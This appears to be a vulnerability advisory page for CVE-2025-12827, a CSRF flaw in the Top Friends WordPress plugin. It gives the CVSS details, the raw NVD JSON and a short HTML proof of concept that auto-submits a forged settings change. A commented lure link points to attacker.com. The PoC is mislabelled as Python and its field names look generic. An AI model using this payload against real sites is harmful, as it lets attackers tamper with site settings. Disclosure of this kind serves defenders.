Security Vulnerability Report
中文
CVE-2025-12827 CVSS 4.3 MEDIUM

CVE-2025-12827

Published: 2025-11-18 09:15:49
Last Modified: 2026-04-15 00:35:42

Description

The Top Friends plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 0.3. This is due to missing nonce validation on the top_friends_options_subpanel() function. This makes it possible for unauthenticated attackers to modify plugin settings via a forged request granted they can trick a site administrator into performing an action such as clicking on a link.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Top Friends plugin for WordPress <= 0.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CSRF PoC for CVE-2025-12827 --> <!-- Exploits missing nonce validation in top_friends_options_subpanel() --> <html> <body> <form action="http://target-site.com/wp-admin/admin.php?page=top-friends-options" method="POST" id="csrfForm"> <input type="hidden" name="top_friends_option1" value="malicious_value" /> <input type="hidden" name="top_friends_option2" value="modified_settings" /> <input type="hidden" name="submit" value="Update" /> </form> <script> document.getElementById('csrfForm').submit(); </script> </body> </html> <!-- Social Engineering Component --> <!-- Attacker would send this link disguised as legitimate content --> <!-- <a href="http://attacker.com/csrf_poc.html">Click for free gift!</a> -->

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12827", "sourceIdentifier": "[email protected]", "published": "2025-11-18T09:15:49.287", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Top Friends plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 0.3. This is due to missing nonce validation on the top_friends_options_subpanel() function. This makes it possible for unauthenticated attackers to modify plugin settings via a forged request granted they can trick a site administrator into performing an action such as clicking on a link."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/top-friends/tags/0.3/top-friends.php#L155", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/8165196d-0117-473f-8ccf-57ffd3e08e16?source=cve", "source": "[email protected]"}]}}